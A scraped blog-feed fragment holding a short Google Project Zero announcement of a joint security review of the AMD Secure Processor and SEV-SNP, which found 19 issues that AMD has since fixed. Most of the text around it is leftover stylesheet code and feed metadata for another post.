black;margin:5px}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="RmvCPDuePa-c4">
<p class="RmvCPDuePa-c7"><span class="RmvCPDuePa-c0">Posted by James Forshaw, Google Project Zero</span></p>
<p class="RmvCPDuePa-c3"><span class="RmvCPDuePa-c0"></span></p>
<p class="RmvCPDuePa-c7"><span>Today</span><span>, members of Project Zero and the Google Cloud security team are releasing a </span><span class="RmvCPDuePa-c6"><a class="RmvCPDuePa-c11" href="https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/AMD_GPZ-Technical_Report_FINAL_05_2022.pdf">technical report</a></span><span class="RmvCPDuePa-c0"> on a security review of AMD Secure Processor (ASP). The ASP is an isolated ARM processor in AMD EPYC CPUs that adds a root of trust and controls secure system initialization. As it's a generic processor AMD can add additional security features to the firmware, but like with all complex systems it's possible these features might have security issues which could compromise the security of everything under the ASP's management.</span></p>
<p class="RmvCPDuePa-c3"><span class="RmvCPDuePa-c0"></span></p>
<p class="RmvCPDuePa-c7"><span>The security review undertaken was on the implementation of the ASP on the 3rd Gen AMD EPYC CPUs (codenamed "Milan"). One feature of the ASP of </span><span>interest</span><span> to Google is </span><span class="RmvCPDuePa-c6"><a class="RmvCPDuePa-c11" href="https://www.amd.com/en/processors/amd-secure-encrypted-virtualization">Secure Encrypted Virtualization (SEV)</a></span><span>. SEV adds encryption to the memory used by virtual machines running on the CPU. This feature is of importance to </span><span class="RmvCPDuePa-c6"><a class="RmvCPDuePa-c11" href="https://cloud.google.com/confidential-computing">Confidential Computing</a></span><span class="RmvCPDuePa-c0"> as it provides protection of customer cloud data in use, not just at rest or when sending data across a network.</span></p>
<p class="RmvCPDuePa-c3"><span class="RmvCPDuePa-c0"></span></p>
<p class="RmvCPDuePa-c7"><span>A particular emphasis of the review was on the Secure Nested Paging (SNP) extension to SEV added to "Milan". SNP aims to further improve the security of confidential computing by adding integrity protection and mitigations for numerous side-channel attacks. </span><span>The review was undertaken with full cooperation with AMD. The team was granted access to source code for the ASP, and production samples to test hardware attacks. </span></p>
<p class="RmvCPDuePa-c3"><span class="RmvCPDuePa-c0"></span></p>
<p class="RmvCPDuePa-c7"><span>The review discovered 19 </span><span>issues</span><span> which have been fixed by AMD in public security bulletins. These issues ranged from incorrect use of cryptography to memory corruption in the context of the ASP firmware. The report describes some of the more interesting issues that were uncovered during the review as well as providing a background on the ASP and the process the team took to find security issues. </span><span>You can read more about the review on the </span><span class="RmvCPDuePa-c6"><a class="RmvCPDuePa-c11" href="https://cloud.google.com/blog/products/identity-security/google-amd-partner-to-build-a-more-secure-future-with-confidential-computing">Google Cloud security blog</a></span><span> </span><span>and the </span><span class="RmvCPDuePa-c6"><a class="RmvCPDuePa-c11" href="https://storage.googleapis.com/gweb-uniblog-publish-prod/documents/AMD_GPZ-Technical_Report_FINAL_05_2022.pdf">final report</a></span><span>.</span></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-30238701541751973262022-04-19T09:06:00.002-07:002022-08-24T12:00:49.125-07:00The More You Know, The More You Know You Don’t Know<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=lhDjYqiy3mZ0x6ROQEUoUw');.lst-kix_qhs0t3wlsx02-8>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-8}ol.lst-kix_h2vtkcla8l9d-2.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-2 0}ul.lst-kix_9i24fh2252ug-1{list-style-type:none}.lst-kix_h2vtkcla8l9d-3>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-3}ul.lst-kix_9i24fh2252ug-0{list-style-type:none}ul.lst-kix_9i24fh2252ug-3{list-style-type:none}ul.lst-kix_9i24fh2252ug-2{list-style-type:none}ul.lst-kix_9i24fh2252ug-5{list-style-type:none}ul.lst-kix_9i24fh2252ug-4{list-style-type:none}ul.lst-kix_9i24fh2252ug-7{list-style-type:none}.lst-kix_czzguda5pqu4-1>li{counter-increment:lst-ctn-kix_czzguda5pqu4-1}ul.lst-kix_9i24fh2252ug-6{list-style-type:none}.lst-kix_jdourvkzhmg1-7>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-7}ul.lst-kix_9i24fh2252ug-8{list-style-type:none}ul.lst-kix_grz5i5wr9ig-0{list-style-type:none}ul.lst-kix_grz5i5wr9ig-2{list-style-type:none}ul.lst-kix_grz5i5wr9ig-1{list-style-type:none}ul.lst-kix_grz5i5wr9ig-4{list-style-type:none}ul.lst-kix_718o7hzyu4f-1{list-style-type:none}ul.lst-kix_grz5i5wr9ig-3{list-style-type:none}ul.lst-kix_718o7hzyu4f-2{list-style-type:none}ul.lst-kix_grz5i5wr9ig-6{list-style-type:none}ul.lst-kix_grz5i5wr9ig-5{list-style-type:none}ul.lst-kix_718o7hzyu4f-0{list-style-type:none}ul.lst-kix_grz5i5wr9ig-8{list-style-type:none}ul.lst-kix_grz5i5wr9ig-7{list-style-type:none}ol.lst-kix_czzguda5pqu4-8.start{counter-reset:lst-ctn-kix_czzguda5pqu4-8 0}ul.lst-kix_bqyk3pvm93qj-0{list-style-type:none}ul.lst-kix_bqyk3pvm93qj-8{list-style-type:none}ul.lst-kix_718o7hzyu4f-5{list-style-type:none}ul.lst-kix_bqyk3pvm93qj-7{list-style-type:none}ul.lst-kix_718o7hzyu4f-6{list-style-type:none}ul.lst-kix_bqyk3pvm93qj-6{list-style-type:none}ul.lst-kix_718o7hzyu4f-3{list-style-type:none}ol.lst-kix_h2vtkcla8l9d-8.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-8 0}ol.lst-kix_jdourvkzhmg1-4.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-4 0}ul.lst-kix_bqyk3pvm93qj-5{list-style-type:none}ul.lst-kix_718o7hzyu4f-4{list-style-type:none}ul.lst-kix_bqyk3pvm93qj-4{list-style-type:none}ul.lst-kix_bqyk3pvm93qj-3{list-style-type:none}ul.lst-kix_bqyk3pvm93qj-2{list-style-type:none}ul.lst-kix_718o7hzyu4f-7{list-style-type:none}ul.lst-kix_bqyk3pvm93qj-1{list-style-type:none}ul.lst-kix_718o7hzyu4f-8{list-style-type:none}.lst-kix_g56cmc7ljnve-4>li:before{content:"\0025cb "}.lst-kix_g56cmc7ljnve-5>li:before{content:"\0025a0 "}.lst-kix_1mxsacho6zj1-0>li:before{content:"\0025cf "}.lst-kix_1mxsacho6zj1-1>li:before{content:"\0025cb "}.lst-kix_9i24fh2252ug-1>li:before{content:"\0025cb "}ol.lst-kix_qhs0t3wlsx02-3.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-3 0}.lst-kix_qhs0t3wlsx02-4>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-4,lower-latin) ". "}.lst-kix_qhs0t3wlsx02-6>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-6,decimal) ". "}ol.lst-kix_h2vtkcla8l9d-7.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-7 0}.lst-kix_g56cmc7ljnve-3>li:before{content:"\0025cf "}.lst-kix_g56cmc7ljnve-7>li:before{content:"\0025cb "}.lst-kix_9i24fh2252ug-0>li:before{content:"\0025cf "}.lst-kix_qhs0t3wlsx02-5>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-5,lower-roman) ". "}.lst-kix_g56cmc7ljnve-0>li:before{content:"\0025cf "}.lst-kix_g56cmc7ljnve-1>li:before{content:"\0025cb "}.lst-kix_g56cmc7ljnve-8>li:before{content:"\0025a0 "}.lst-kix_qhs0t3wlsx02-8>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-8,lower-roman) ". "}.lst-kix_9i24fh2252ug-3>li:before{content:"\0025cf "}.lst-kix_qhs0t3wlsx02-0>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-0,decimal) ". "}.lst-kix_h2vtkcla8l9d-1>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-1}.lst-kix_qhs0t3wlsx02-7>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-7,lower-latin) ". "}.lst-kix_g56cmc7ljnve-2>li:before{content:"\0025a0 "}ul.lst-kix_rvy0q9fw47sg-8{list-style-type:none}ul.lst-kix_rvy0q9fw47sg-7{list-style-type:none}.lst-kix_9i24fh2252ug-2>li:before{content:"\0025a0 "}ul.lst-kix_rvy0q9fw47sg-6{list-style-type:none}ul.lst-kix_rvy0q9fw47sg-5{list-style-type:none}.lst-kix_czzguda5pqu4-8>li{counter-increment:lst-ctn-kix_czzguda5pqu4-8}ul.lst-kix_rvy0q9fw47sg-4{list-style-type:none}ul.lst-kix_rvy0q9fw47sg-3{list-style-type:none}ul.lst-kix_rvy0q9fw47sg-2{list-style-type:none}.lst-kix_qhs0t3wlsx02-4>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-4}ul.lst-kix_bfmkl5o48mun-0{list-style-type:none}ul.lst-kix_rvy0q9fw47sg-1{list-style-type:none}ul.lst-kix_rvy0q9fw47sg-0{list-style-type:none}ul.lst-kix_bfmkl5o48mun-2{list-style-type:none}ul.lst-kix_bfmkl5o48mun-1{list-style-type:none}.lst-kix_h2vtkcla8l9d-7>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-7}.lst-kix_g56cmc7ljnve-6>li:before{content:"\0025cf "}ul.lst-kix_3zaknyhdqv25-0{list-style-type:none}ul.lst-kix_3zaknyhdqv25-2{list-style-type:none}ul.lst-kix_3zaknyhdqv25-1{list-style-type:none}ul.lst-kix_3zaknyhdqv25-4{list-style-type:none}ul.lst-kix_3zaknyhdqv25-3{list-style-type:none}ul.lst-kix_3zaknyhdqv25-6{list-style-type:none}ul.lst-kix_3zaknyhdqv25-5{list-style-type:none}ul.lst-kix_3zaknyhdqv25-8{list-style-type:none}ul.lst-kix_3zaknyhdqv25-7{list-style-type:none}.lst-kix_jdourvkzhmg1-5>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-5}ul.lst-kix_givsp5ka59r-1{list-style-type:none}ul.lst-kix_givsp5ka59r-2{list-style-type:none}ul.lst-kix_givsp5ka59r-3{list-style-type:none}ul.lst-kix_givsp5ka59r-4{list-style-type:none}ul.lst-kix_givsp5ka59r-0{list-style-type:none}.lst-kix_qhs0t3wlsx02-1>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-1,lower-latin) ". "}.lst-kix_qhs0t3wlsx02-2>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-2,lower-roman) ". "}.lst-kix_qhs0t3wlsx02-3>li:before{content:"" counter(lst-ctn-kix_qhs0t3wlsx02-3,decimal) ". "}ol.lst-kix_qhs0t3wlsx02-8.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-8 0}.lst-kix_qhs0t3wlsx02-2>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-2}.lst-kix_h2vtkcla8l9d-1>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-1,lower-latin) ". "}ul.lst-kix_givsp5ka59r-5{list-style-type:none}ul.lst-kix_givsp5ka59r-6{list-style-type:none}.lst-kix_jdourvkzhmg1-8>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-8,lower-roman) ". "}ul.lst-kix_givsp5ka59r-7{list-style-type:none}.lst-kix_rvy0q9fw47sg-4>li:before{content:"\0025cb "}ul.lst-kix_givsp5ka59r-8{list-style-type:none}ol.lst-kix_jdourvkzhmg1-3.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-3 0}.lst-kix_czzguda5pqu4-5>li{counter-increment:lst-ctn-kix_czzguda5pqu4-5}.lst-kix_h2vtkcla8l9d-3>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-3,decimal) ". "}.lst-kix_h2vtkcla8l9d-5>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-5,lower-roman) ". "}.lst-kix_jdourvkzhmg1-2>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-2,lower-roman) ". "}.lst-kix_jdourvkzhmg1-6>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-6,decimal) ". "}.lst-kix_rvy0q9fw47sg-2>li:before{content:"\0025a0 "}ol.lst-kix_czzguda5pqu4-7.start{counter-reset:lst-ctn-kix_czzguda5pqu4-7 0}.lst-kix_3zaknyhdqv25-7>li:before{content:"\0025cb "}.lst-kix_jdourvkzhmg1-4>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-4,lower-latin) ". "}.lst-kix_rvy0q9fw47sg-0>li:before{content:"\0025cf "}ol.lst-kix_h2vtkcla8l9d-1.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-1 0}.lst-kix_bqyk3pvm93qj-0>li:before{content:"\0025cf "}.lst-kix_3zaknyhdqv25-3>li:before{content:"\0025cf "}ul.lst-kix_bfmkl5o48mun-4{list-style-type:none}ul.lst-kix_bfmkl5o48mun-3{list-style-type:none}.lst-kix_h2vtkcla8l9d-7>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-7,lower-latin) ". "}ul.lst-kix_bfmkl5o48mun-6{list-style-type:none}ul.lst-kix_bfmkl5o48mun-5{list-style-type:none}ul.lst-kix_bfmkl5o48mun-8{list-style-type:none}ul.lst-kix_bfmkl5o48mun-7{list-style-type:none}.lst-kix_czzguda5pqu4-7>li{counter-increment:lst-ctn-kix_czzguda5pqu4-7}.lst-kix_jdourvkzhmg1-0>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-0,decimal) ". "}.lst-kix_3zaknyhdqv25-5>li:before{content:"\0025a0 "}ul.lst-kix_knibgsincpme-7{list-style-type:none}.lst-kix_9i24fh2252ug-7>li:before{content:"\0025cb "}ul.lst-kix_knibgsincpme-8{list-style-type:none}.lst-kix_rwsfzn4jdl6v-7>li:before{content:"\0025cb "}ol.lst-kix_qhs0t3wlsx02-0.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-0 0}.lst-kix_rvy0q9fw47sg-6>li:before{content:"\0025cf "}.lst-kix_1mxsacho6zj1-4>li:before{content:"\0025cb "}ul.lst-kix_knibgsincpme-1{list-style-type:none}ul.lst-kix_knibgsincpme-2{list-style-type:none}.lst-kix_9i24fh2252ug-5>li:before{content:"\0025a0 "}ul.lst-kix_knibgsincpme-0{list-style-type:none}ul.lst-kix_knibgsincpme-5{list-style-type:none}.lst-kix_1mxsacho6zj1-2>li:before{content:"\0025a0 "}ul.lst-kix_knibgsincpme-6{list-style-type:none}ul.lst-kix_knibgsincpme-3{list-style-type:none}.lst-kix_rvy0q9fw47sg-8>li:before{content:"\0025a0 "}ul.lst-kix_knibgsincpme-4{list-style-type:none}.lst-kix_3zaknyhdqv25-1>li:before{content:"\0025cb "}.lst-kix_givsp5ka59r-4>li:before{content:"\0025cb "}ul.lst-kix_1mxsacho6zj1-4{list-style-type:none}ul.lst-kix_1mxsacho6zj1-5{list-style-type:none}ul.lst-kix_1mxsacho6zj1-2{list-style-type:none}.lst-kix_grz5i5wr9ig-1>li:before{content:"\0025cb "}ul.lst-kix_1mxsacho6zj1-3{list-style-type:none}.lst-kix_jdourvkzhmg1-3>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-3}ul.lst-kix_1mxsacho6zj1-0{list-style-type:none}.lst-kix_1mxsacho6zj1-6>li:before{content:"\0025cf "}ul.lst-kix_1mxsacho6zj1-1{list-style-type:none}.lst-kix_givsp5ka59r-6>li:before{content:"\0025cf "}.lst-kix_1mxsacho6zj1-8>li:before{content:"\0025a0 "}ul.lst-kix_1mxsacho6zj1-8{list-style-type:none}.lst-kix_rwsfzn4jdl6v-5>li:before{content:"\0025a0 "}ul.lst-kix_1mxsacho6zj1-6{list-style-type:none}ul.lst-kix_1mxsacho6zj1-7{list-style-type:none}.lst-kix_givsp5ka59r-8>li:before{content:"\0025a0 "}.lst-kix_rwsfzn4jdl6v-3>li:before{content:"\0025cf "}ol.lst-kix_jdourvkzhmg1-5.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-5 0}ol.lst-kix_h2vtkcla8l9d-4.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-4 0}.lst-kix_jdourvkzhmg1-4>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-4}ol.lst-kix_jdourvkzhmg1-6.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-6 0}.lst-kix_rwsfzn4jdl6v-1>li:before{content:"\0025cb "}.lst-kix_h2vtkcla8l9d-8>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-8}.lst-kix_qhs0t3wlsx02-3>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-3}.lst-kix_czzguda5pqu4-7>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-7,lower-latin) ". "}.lst-kix_czzguda5pqu4-3>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-3,decimal) ". "}.lst-kix_czzguda5pqu4-5>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-5,lower-roman) ". "}ol.lst-kix_h2vtkcla8l9d-3.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-3 0}.lst-kix_knibgsincpme-1>li:before{content:"\0025cb "}.lst-kix_czzguda5pqu4-1>li:before{content:"" counter(lst-ctn-kix_czzguda5pqu4-1,lower-latin) ". "}.lst-kix_czzguda5pqu4-6>li{counter-increment:lst-ctn-kix_czzguda5pqu4-6}.lst-kix_h2vtkcla8l9d-2>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-2}.lst-kix_knibgsincpme-5>li:before{content:"\0025a0 "}.lst-kix_knibgsincpme-4>li:before{content:"\0025cb "}.lst-kix_knibgsincpme-6>li:before{content:"\0025cf "}.lst-kix_knibgsincpme-3>li:before{content:"\0025cf "}.lst-kix_knibgsincpme-7>li:before{content:"\0025cb "}.lst-kix_jdourvkzhmg1-6>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-6}.lst-kix_czzguda5pqu4-0>li{counter-increment:lst-ctn-kix_czzguda5pqu4-0}.lst-kix_h2vtkcla8l9d-4>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-4}ol.lst-kix_jdourvkzhmg1-5{list-style-type:none}ol.lst-kix_jdourvkzhmg1-6{list-style-type:none}ol.lst-kix_jdourvkzhmg1-7.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-7 0}ol.lst-kix_jdourvkzhmg1-7{list-style-type:none}ol.lst-kix_jdourvkzhmg1-8{list-style-type:none}.lst-kix_qhs0t3wlsx02-7>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-7}.lst-kix_bfmkl5o48mun-0>li:before{content:"\0025cf "}ol.lst-kix_qhs0t3wlsx02-1.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-1 0}ol.lst-kix_czzguda5pqu4-0.start{counter-reset:lst-ctn-kix_czzguda5pqu4-0 0}.lst-kix_knibgsincpme-8>li:before{content:"\0025a0 "}ol.lst-kix_h2vtkcla8l9d-7{list-style-type:none}ol.lst-kix_h2vtkcla8l9d-8{list-style-type:none}.lst-kix_bfmkl5o48mun-7>li:before{content:"\0025cb "}.lst-kix_bfmkl5o48mun-8>li:before{content:"\0025a0 "}ol.lst-kix_h2vtkcla8l9d-3{list-style-type:none}ol.lst-kix_h2vtkcla8l9d-4{list-style-type:none}ol.lst-kix_jdourvkzhmg1-1.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-1 0}.lst-kix_bfmkl5o48mun-6>li:before{content:"\0025cf "}ol.lst-kix_h2vtkcla8l9d-5{list-style-type:none}ol.lst-kix_czzguda5pqu4-5.start{counter-reset:lst-ctn-kix_czzguda5pqu4-5 0}ol.lst-kix_h2vtkcla8l9d-6{list-style-type:none}.lst-kix_grz5i5wr9ig-7>li:before{content:"\0025cb "}.lst-kix_bfmkl5o48mun-1>li:before{content:"\0025cb "}.lst-kix_czzguda5pqu4-2>li{counter-increment:lst-ctn-kix_czzguda5pqu4-2}ol.lst-kix_qhs0t3wlsx02-6.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-6 0}.lst-kix_grz5i5wr9ig-8>li:before{content:"\0025a0 "}ol.lst-kix_jdourvkzhmg1-1{list-style-type:none}ol.lst-kix_jdourvkzhmg1-2{list-style-type:none}ol.lst-kix_jdourvkzhmg1-3{list-style-type:none}ol.lst-kix_jdourvkzhmg1-4{list-style-type:none}.lst-kix_grz5i5wr9ig-3>li:before{content:"\0025cf "}.lst-kix_grz5i5wr9ig-5>li:before{content:"\0025a0 "}.lst-kix_bfmkl5o48mun-2>li:before{content:"\0025a0 "}ol.lst-kix_jdourvkzhmg1-0{list-style-type:none}.lst-kix_grz5i5wr9ig-2>li:before{content:"\0025a0 "}.lst-kix_grz5i5wr9ig-6>li:before{content:"\0025cf "}ol.lst-kix_h2vtkcla8l9d-0{list-style-type:none}ol.lst-kix_h2vtkcla8l9d-5.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-5 0}.lst-kix_bfmkl5o48mun-3>li:before{content:"\0025cf "}.lst-kix_bfmkl5o48mun-4>li:before{content:"\0025cb "}ol.lst-kix_h2vtkcla8l9d-1{list-style-type:none}ol.lst-kix_h2vtkcla8l9d-2{list-style-type:none}.lst-kix_bfmkl5o48mun-5>li:before{content:"\0025a0 "}.lst-kix_grz5i5wr9ig-4>li:before{content:"\0025cb "}.lst-kix_givsp5ka59r-2>li:before{content:"\0025a0 "}ol.lst-kix_h2vtkcla8l9d-0.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-0 0}.lst-kix_givsp5ka59r-1>li:before{content:"\0025cb "}.lst-kix_givsp5ka59r-0>li:before{content:"\0025cf "}ul.lst-kix_g56cmc7ljnve-8{list-style-type:none}ol.lst-kix_jdourvkzhmg1-2.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-2 0}.lst-kix_bqyk3pvm93qj-7>li:before{content:"\0025cb "}.lst-kix_h2vtkcla8l9d-6>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-6}.lst-kix_jdourvkzhmg1-8>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-8}.lst-kix_qhs0t3wlsx02-5>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-5}.lst-kix_bqyk3pvm93qj-6>li:before{content:"\0025cf "}.lst-kix_bqyk3pvm93qj-4>li:before{content:"\0025cb "}.lst-kix_h2vtkcla8l9d-0>li{counter-increment:lst-ctn-kix_h2vtkcla8l9d-0}ol.lst-kix_jdourvkzhmg1-8.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-8 0}.lst-kix_bqyk3pvm93qj-5>li:before{content:"\0025a0 "}ol.lst-kix_qhs0t3wlsx02-7.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-7 0}.lst-kix_bqyk3pvm93qj-2>li:before{content:"\0025a0 "}.lst-kix_bqyk3pvm93qj-3>li:before{content:"\0025cf "}.lst-kix_718o7hzyu4f-5>li:before{content:"\0025a0 "}ol.lst-kix_h2vtkcla8l9d-6.start{counter-reset:lst-ctn-kix_h2vtkcla8l9d-6 0}.lst-kix_718o7hzyu4f-4>li:before{content:"\0025cb "}.lst-kix_718o7hzyu4f-8>li:before{content:"\0025a0 "}ul.lst-kix_rwsfzn4jdl6v-1{list-style-type:none}ol.lst-kix_qhs0t3wlsx02-2.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-2 0}ul.lst-kix_rwsfzn4jdl6v-2{list-style-type:none}ul.lst-kix_rwsfzn4jdl6v-0{list-style-type:none}.lst-kix_718o7hzyu4f-7>li:before{content:"\0025cb "}ul.lst-kix_rwsfzn4jdl6v-5{list-style-type:none}ul.lst-kix_rwsfzn4jdl6v-6{list-style-type:none}.lst-kix_718o7hzyu4f-6>li:before{content:"\0025cf "}ul.lst-kix_rwsfzn4jdl6v-3{list-style-type:none}ul.lst-kix_rwsfzn4jdl6v-4{list-style-type:none}ul.lst-kix_g56cmc7ljnve-3{list-style-type:none}ol.lst-kix_czzguda5pqu4-6{list-style-type:none}ul.lst-kix_g56cmc7ljnve-2{list-style-type:none}ol.lst-kix_czzguda5pqu4-7{list-style-type:none}ul.lst-kix_g56cmc7ljnve-1{list-style-type:none}ol.lst-kix_czzguda5pqu4-4{list-style-type:none}ul.lst-kix_rwsfzn4jdl6v-7{list-style-type:none}ul.lst-kix_g56cmc7ljnve-0{list-style-type:none}ol.lst-kix_czzguda5pqu4-5{list-style-type:none}ul.lst-kix_rwsfzn4jdl6v-8{list-style-type:none}ul.lst-kix_g56cmc7ljnve-7{list-style-type:none}.lst-kix_bqyk3pvm93qj-8>li:before{content:"\0025a0 "}ol.lst-kix_czzguda5pqu4-2{list-style-type:none}ul.lst-kix_g56cmc7ljnve-6{list-style-type:none}ol.lst-kix_czzguda5pqu4-3{list-style-type:none}.lst-kix_jdourvkzhmg1-2>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-2}ul.lst-kix_g56cmc7ljnve-5{list-style-type:none}ol.lst-kix_czzguda5pqu4-0{list-style-type:none}.lst-kix_718o7hzyu4f-0>li:before{content:"\0025cf "}ul.lst-kix_g56cmc7ljnve-4{list-style-type:none}ol.lst-kix_czzguda5pqu4-1{list-style-type:none}.lst-kix_718o7hzyu4f-1>li:before{content:"\0025cb "}ol.lst-kix_czzguda5pqu4-6.start{counter-reset:lst-ctn-kix_czzguda5pqu4-6 0}.lst-kix_718o7hzyu4f-3>li:before{content:"\0025cf "}ol.lst-kix_czzguda5pqu4-8{list-style-type:none}.lst-kix_718o7hzyu4f-2>li:before{content:"\0025a0 "}ol.lst-kix_jdourvkzhmg1-0.start{counter-reset:lst-ctn-kix_jdourvkzhmg1-0 0}ol.lst-kix_czzguda5pqu4-4.start{counter-reset:lst-ctn-kix_czzguda5pqu4-4 0}.lst-kix_h2vtkcla8l9d-0>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-0,decimal) ". "}.lst-kix_jdourvkzhmg1-7>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-7,lower-latin) ". "}ol.lst-kix_qhs0t3wlsx02-5.start{counter-reset:lst-ctn-kix_qhs0t3wlsx02-5 0}.lst-kix_jdourvkzhmg1-0>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-0}.lst-kix_h2vtkcla8l9d-4>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-4,lower-latin) ". "}.lst-kix_jdourvkzhmg1-3>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-3,decimal) ". "}.lst-kix_rvy0q9fw47sg-3>li:before{content:"\0025cf "}.lst-kix_h2vtkcla8l9d-2>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-2,lower-roman) ". "}.lst-kix_h2vtkcla8l9d-6>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-6,decimal) ". "}.lst-kix_rvy0q9fw47sg-1>li:before{content:"\0025cb "}.lst-kix_jdourvkzhmg1-1>li{counter-increment:lst-ctn-kix_jdourvkzhmg1-1}.lst-kix_3zaknyhdqv25-8>li:before{content:"\0025a0 "}.lst-kix_jdourvkzhmg1-5>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-5,lower-roman) ". "}.lst-kix_qhs0t3wlsx02-1>li{counter-increment:lst-ctn-kix_qhs0t3wlsx02-1}.lst-kix_3zaknyhdqv25-2>li:before{content:"\0025a0 "}.lst-kix_3zaknyhdqv25-4>li:before{content:"\0025cb "}.lst-kix_bqyk3pvm93qj-1>li:before{content:"\0025cb "}.lst-kix_h2vtkcla8l9d-8>li:before{content:"" counter(lst-ctn-kix_h2vtkcla8l9d-8,lower-roman) ". "}.lst-kix_czzguda5pqu4-4>li{counter-increment:lst-ctn-kix_czzguda5pqu4-4}.lst-kix_3zaknyhdqv25-6>li:before{content:"\0025cf "}.lst-kix_jdourvkzhmg1-1>li:before{content:"" counter(lst-ctn-kix_jdourvkzhmg1-1,lower-latin) ". "}.lst-kix_rwsfzn4jdl6v-6>li:before{content:"\0025cf "}ol.lst-kix_czzguda5pqu4-1.start{counter-reset:lst-ctn-kix_czzguda5pqu4-1 0}.lst-kix_rvy0q9fw47sg-5>li:before{content:"\0025a0 "}.lst-kix_9i24fh2252ug-4>li:before{content:"\0025cb "}.lst-kix_9i24fh2252ug-8>li:before{content:"\0025a0 "}.lst-kix_rwsfzn4jdl6v-8>li:before{content:"\0025a0 